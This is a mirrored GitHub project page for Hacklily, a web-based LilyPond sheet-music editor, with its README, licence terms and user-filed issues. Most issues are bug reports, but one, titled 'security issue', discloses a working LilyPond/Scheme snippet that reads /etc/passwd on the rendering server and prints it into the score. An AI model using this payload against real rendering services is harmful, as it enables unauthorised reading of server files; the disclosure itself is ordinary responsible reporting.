Giter Site home page Giter Site logo

jocelyn-stericker / hacklily Goto Github PK

View Code? Open in Web Editor NEW
328.0 17.0 27.0 40.19 MB

A web-based sheet music editor and publishing platform.

Home Page: https://www.hacklily.org

License: GNU General Public License v3.0

JavaScript 0.19% HTML 1.61% CSS 0.23% Shell 0.31% C++ 3.45% QMake 0.05% TypeScript 87.91% Dockerfile 0.21% Rust 6.02% LilyPond 0.02%
lilypond sheet-music-editor music sheet-music

hacklily's Introduction

Hacklily

Hacklily is an online sheet-music editor and publishing tool. Start writing music now!

It consists of a frontend Lilypond editor using monaco (the editor that powers vscode) and a backend Lilypond renderer. It can publish songs directly to GitHub.

Running locally

Dependencies

Important: You do not need to install anything to run Hacklily in your browser. Hacklily supports all major browsers. To use it, just go to https://www.hacklily.org. The instructions below are for if you want to contribute to Hacklily or run the Hacklily development server locally.

You need:

  • Node -- tested with Node 7, earlier versions may or may not also work
  • Yarn
  • Qt 5 -- with qmake in your path (installing using the version from Qt's website is recommended on macOS)
  • Docker

Note: I haven't tested this on Windows yet. Theoretically, this should work with something like MSYS, but I have not tried. If you manage to get it working, please make a pull request with instructions on how to do that.

Obtaining

To get hacklily, run:

git clone [email protected]:emilyskidsister/hacklily.git

Or, if you do not have ssh auth setup with Github:

git clone https://github.com/emilyskidsister/hacklily.git

Running (without GitHub integration)

Once you have installed the above dependencies, run

make serve

Running (with GitHub integration)

For most development, the steps in "Running" (above) are sufficient.

If you specifically wish to test integration with GitHub, follow the steps in this section.

First, create a GitHub organization by following the steps at https://github.com/organizations/new. Select the free plan.

Next, create a new app at https://github.com/organizations//settings/applications, making note of the client ID and secret. This application will be used to allow users to log in.

To run the frontend, in one shell run:

cd hacklily
yarn
env \
  REACT_APP_GITHUB_CLIENT_ID=your_github_api_client_id_here \
  REACT_APP_BACKEND_WS_URL=ws://localhost:2000 \
  yarn start

At this point, you should be able to navigate to http://localhost:3000 to see the app, but you will get an error in the preview pane since the server is not running.

In another shell, to run the backend, run:

cd hacklily/server
mkdir build
cd build
qmake ../ws-server
make
./ws-server \
  --renderer-path ../renderer \
  --renderer-docker-tag hacklily-renderer \
  --github-client-id your_github_api_client_id_here \
  --github-secret your_github_api_secret_here \
  --ws-port 2000

You can omit the github-* arguments if you do not want to enable the GitHub integration.

ws-port should match the port of the REACT_APP_BACKEND_WS_URL you entered above.

Then, in a browser navigate to http://localhost:3000.

Contributing

Please do! Fork this repo and submit a PR. Your submission must be under the appropriate license (GPL for client code, AGPL for server code).

You can reach the maintainer by email at [email protected].

License

Out of respect for the Lilypond project that Hacklily relies on, and to ensure all forks of Hacklily remain free software, the client is licensed under the terms of the GNU GPL version 3 or later (with additional permissions as described below), and the server is licensed under the terms of the GNU AGPL version 3 or later.

Client

Everything except for the server (located in server/) is licensed as follows:

This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.

This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
GNU General Public License for more details.

You should have received a copy of the GNU General Public License
along with this program.  If not, see <http://www.gnu.org/licenses/>.

As additional permission under GNU GPL version 3 section 7, you
may distribute non-source (e.g., minimized or compacted) forms of
that code without the copy of the GNU GPL normally required by
section 4, provided you include this license notice and a URL
through which recipients can access the Corresponding Source.

As additional permission under GNU GPL version 3 section 7,
the term "System Libraries" is extended to include the JavaScript
libraries provided with any browser. If you modify this code, you
may extend this exception to your version of the code, but you are
not obligated to do so. If you do not wish to do so, delete this
exception statement from your version.

A full copy of the GPL version 3 is available in LICENSE.txt.

Server

The server (located in server/) is licensed as follows:

This program is free software: you can redistribute it and/or modify
it under the terms of the GNU Affero General Public License as
published by the Free Software Foundation, either version 3 of the
License, or (at your option) any later version.

This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
GNU Affero General Public License for more details.

You should have received a copy of the GNU Affero General Public License
along with this program.  If not, see <http://www.gnu.org/licenses/>.

A full copy of the AGPL version 3 is available in LICENSE.AGPL.txt.

Deployment

Whenever a commit is pushed to master, Netlify will deploy a new version.

hacklily's People

Contributors

jocelyn-stericker avatar

Stargazers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

Watchers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

hacklily's Issues

security issue

you should reconsider how you are using lilypond. The following will dump /etc/passwd into a piece of sheet music.

\header {
title = "Untitled"
composer = "Composer"
}

#(define s "")
#(let*
(
(f (open-input-file "/etc/passwd"))
(cs '())
(c (read-char f))
(n 0)
)

(while (and (not (eof-object? c)) ( < n 50))
(set! cs (cons c cs))
(set! n (+ 1 n))
(set! c (read-char f)))
(set! s (list->string (reverse cs)))
)

\score {
\relative c' {
g4^#s
}

\layout {}
\midi {}
}

Building renderer fails

Trying to run ws-server, I find a build error. Manually building the renderer shows me:

Sending build context to Docker daemon   7.68kB
Step 1/12 : FROM debian:sid-slim
 ---> 6d7423739c45
Step 2/12 : RUN apt-get update && apt-get install --no-install-recommends -y ruby curl bzip2 git locales gsfonts ghostscript fonts-dejavu-extra psmisc emacs-intl-fonts xfonts-intl-.* fonts-ipafont-mincho xfonts-bolkhov-75dpi xfonts-cronyx-100dpi xfonts-cronyx-75dpi patch python2 python3 &&     localedef -i en_US -c -f UTF-8 -A /usr/share/locale/locale.alias en_US.UTF-8 &&     curl -L https://github.com/stedolan/jq/releases/download/jq-1.5/jq-linux64 > /usr/local/bin/jq &&     chmod +x /usr/local/bin/jq && echo 42 | jq .
 ---> Running in 1aa342bb8bed
Get:1 http://deb.debian.org/debian sid InRelease [198 kB]
Get:2 http://deb.debian.org/debian sid/main amd64 Packages [9759 kB]
Fetched 9957 kB in 2s (4822 kB/s)
Reading package lists...
Reading package lists...
Building dependency tree...
Reading state information...
Package python2 is not available, but is referred to by another package.
This may mean that the package is missing, has been obsoleted, or
is only available from another source

E: Package 'python2' has no installation candidate
The command '/bin/sh -c apt-get update && apt-get install --no-install-recommends -y ruby curl bzip2 git locales gsfonts ghostscript fonts-dejavu-extra psmisc emacs-intl-fonts xfonts-intl-.* fonts-ipafont-mincho xfonts-bolkhov-75dpi xfonts-cronyx-100dpi xfonts-cronyx-75dpi patch python2 python3 &&     localedef -i en_US -c -f UTF-8 -A /usr/share/locale/locale.alias en_US.UTF-8 &&     curl -L https://github.com/stedolan/jq/releases/download/jq-1.5/jq-linux64 > /usr/local/bin/jq &&     chmod +x /usr/local/bin/jq && echo 42 | jq .' returned a non-zero code: 100

so current Debian sid doesn't seem to have Python2 anymore, at least not in the repositories used here (main).
And indeed, searching for it in stable doesn't return anything, but oldstable has it.

A temporary fix would be to use an older Debian version as base image.
Why is Python 2 needed?

SVG export

Great project. Since it creates a SVG for the webview... why not add svg export?

Error saving to github

Hi! I love the idea of hacklily, having a browser based IDE for sheet music creation is a great idea! However, whenever I try to save a file, I get this:

image

Note that the very first time it did successfully create the sheet-music repository, so I know that authentication and permissions on github are working. I'm using Chrome on Windows 10. I suspected Chrome extensions to be the issue, but I tried in an incognito window without extensions and got the same error.

Please let me know if you have any suggestions! Thanks!

Search over folders

Hello there!

It's not a real issue, but I would ask if there is a way to search over all the Repository, like on Omet.ca where you can search over all the repository and the folders where all the music stays. It could be a perfect thing, for organize the sheets. Hoping it can be a "easy to implement" thing, thank you again for that beautiful instrument you've done!

Hacklily editor is broken

Hello!

The LilyPond editor (left side) on hacklily.org is broken since a couple of days. Each time user is typing something, the cursor is going back to the begin of the text, making it unusable.

Allow private github repos, improve repo creation process

After github login hacklily errors with repo not being able to be made. I think you have to have a sheet-music public repo . It used to be you could save private github repos, I know because I have a private repo that has alot of stuff in it from hacklily. I was actually using this tool pretty consistently at that time, and was going to use it again. Why the switch to public only?

Tools don’t use the document language

I always use \language "english", but tools like Change Key Signature don’t respect that, still writing fis and ges for F♯ and G♭ rather than fs and gf.

See define-note-names.scm for the current supported languages and how to write notes in that language. Here’s a simple regular expression for detecting the language: /\\language "(nederlands|catalan|deutsch|english|espanol|italiano|norsk|portugues|suomi|svenska|vlaams)"/.

Thoughts on removing lyp

Hello Jocelyn,

First off, I want to thank you for the amazing work which you have done with Hacklily. It is an absolutely amazing tool for LilyPond development.

What do you think about removing lyp from Hacklily? It does not look like the lyp codebase has been touched for several years and lyp does not built on ARM processors.

MusicXML import

The ability to import MusicXML files (using LilyPond's musicxml2ly) would be a nice feature. I checked the source code and commit history, and it looks like some work has been done on this[1] but I did not find a way to do an import in the UI. So I'm curious about the current status and what remains to be done for this.

[1] MusicXML commits: 9eb5821 cfee68c

Music may be played at wrong speed (too fast)

Hello!

There is an issue with the Play button. On some computer, the sound you hear is pitched almost a semitone too high, because it is played too fast.

This is due to an erroneous AudioContext instantiation in Hackmidi module. Audio Context is created using system default sampling rate, which can be 48000 Hz, while MIDI notes are converted at 44100 Hz.

To fix the issue you can now pass the same sampling rate as the audio conversion as an argument as described here: https://developer.mozilla.org/en-US/docs/Web/API/AudioContext/AudioContext#example

Play button doesn't work

The "Play" button isn't working.

It displays CORS error in console log:

Access to fetch at 'https://www.hacklily.org/hackmidi/samples/timidity.cfg' from origin 'https://hacklily.org' has been blocked by CORS policy: No 'Access-Control-Allow-Origin' header is present on the requested resource. If an opaque response serves your needs, set the request's mode to 'no-cors' to fetch the resource with CORS disabled.

Problems previewing scores longer than one page

When a score becomes longer than one page the preview output seems to become corrupted. PDF download is fine, but the right-pane preview isn't.

I can potentially try to dig in and debug/fix this, but if anyone has any initial context/pointers (or if e.g. this is a known limitation that would require significant refactoring to fix) that would be useful.

Can be recreated with this score:

\header {
  title = "Untitled"
  composer = "Composer"
}

\score {
  \relative c' {
    \repeat unfold 1000 { c4 }
  }

  \layout {}
  \midi {}
}

MIDI import API?

Hi Joshua, this is quite nice! Well done. I like the interface and the responsiveness. The syntax coloring in the dark theme seems just right, to my taste.

Would you be interested in a collaboration? I'm the author of tbon, a notation language that's meant as a front end for quickly entering and editing pitch, rhythm and dynamics and deferring the niceties of engraving to other tools like LilyPond and MuseScore.

See http://github.com/Michael-F-Ellis/tbon for details and a link to a (very minimalist) live demo.

I'm passionate about not re-inventing the wheel, so I'd love to be able to add an "open in hacklily" button to my demo that posts a midi file to your site for conversion by LilyPond's mid2ly and display in your interface in a new browser window. Or possibly I could do the conversion locally and send a .ly file. Or whatever helps to make both our projects useful to as many people as possible.

Cheers,
Mike

Error alert when logging in to GitHub repo

Whenever I login to my GitHub repo to open a file, I get an error alert box at first saying:

Something went wrong. Could not log you in.

When I click on File:Open... again after that, it suddenly works and I can open files from my repo.

This error always only happens on the first try, the second try seems to always work fine.

Since it works on the second attempt, it isn't an especially serious error, however, it is kind of odd.

"Something went wrong. Could not log you in." when open/save to github.

Getting a pop-up with "Something went wrong. Could not log you in." when open/save to github.

The initial repo creation of the public sheet-music repo did work.

Tried from Chrome and Firefox, tried disabling ad blockers, tried incognito/private mode, no dice. I just have normal auth set up on github, no two-factor or anything.

I also tried making a brand new github account - hacklillytest - same issue.

Saving a song with Unicode characters to GitHub results in garbage

Browser: FF 62

URL/LilyPond source:

\version "2.19.82"

% Cyrillic font
bulgarian = \lyricmode {
  Жълтата дюля беше щастлива, че пухът, който цъфна, замръзна като гьон.
}

hebrew = \lyricmode {
  זה כיף סתם לשמוע איך תנצח קרפד עץ טוב בגן.
}

japanese = \lyricmode {
  いろはにほへど ちりぬるを
  わがよたれぞ  つねならむ
  うゐのおくや  まけふこえて
  あさきゆめみじ ゑひもせず
}

% "a legal song to you"
portuguese = \lyricmode {
  à vo -- cê uma can -- ção legal
}

\relative c' {
  c2 d
  e2 f
  g2 f
  e1
}
\addlyrics { \bulgarian }
\addlyrics { \hebrew }
\addlyrics { \japanese }
\addlyrics { \portuguese }

Detailed steps to reproduce the problem:

  • Go to https://www.hacklily.org
  • Set the source to the above.
  • Click Save / share from the menubar and save it
  • The source changes to the following:

\version "2.19.82"

% Cyrillic font
bulgarian = \lyricmode {
  ��л�а�а д�л� бе�е �а��лива, �е п����, кой�о ���на, зам��зна ка�о г�он.
}

hebrew = \lyricmode {
  �� ��ף סת� �ש��ע ��� תנצ� קרפ� עץ ��� ���.
}

japanese = \lyricmode {
  ������� �����
  ������  �����
  ������  ������
  ������� �����
}

% "a legal song to you"
portuguese = \lyricmode {
  à vo -- cê uma can -- ção legal
}

\relative c' {
  c2 d
  e2 f
  g2 f
  e1
}
\addlyrics { \bulgarian }
\addlyrics { \hebrew }
\addlyrics { \japanese }
\addlyrics { \portuguese }

Update Lilypond

Would it be possible to update Lilypond? The hacklily version is 2.19 and the current Lilypond is 2.22. Thanks!

Export to MIDI and PDF

Super cool tool! I can see myself using this in the future. One thing I'm missing is the option to export to something like music-xml, midi, musescore etc...

Great work, thank you!

Is \include expected to work?

Want to use some standard aliases, and if I can get that to work https://github.com/kastdeur/lilydrum but so far getting "Could not render file: Crashed during render: Canary died." on \include statements.

Looking at #5 it seems like this should be possible, unless something has been done since then.

Also posting this as if it's okay I may try to get this to work more intensively, but this would involve using the same kind of commands as mentioned in #5, and I don't want you to think there's a hacking attempt or something.

github error

I cannot save file to github, getting "Error: Could not save file."
I tried renaming main to master.
If I upload a .ly file to sheet-music/master, I can open it in hacklily.org. But I again cannot save it.
Firefox / Ubuntu 22.04.
Thank you!

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.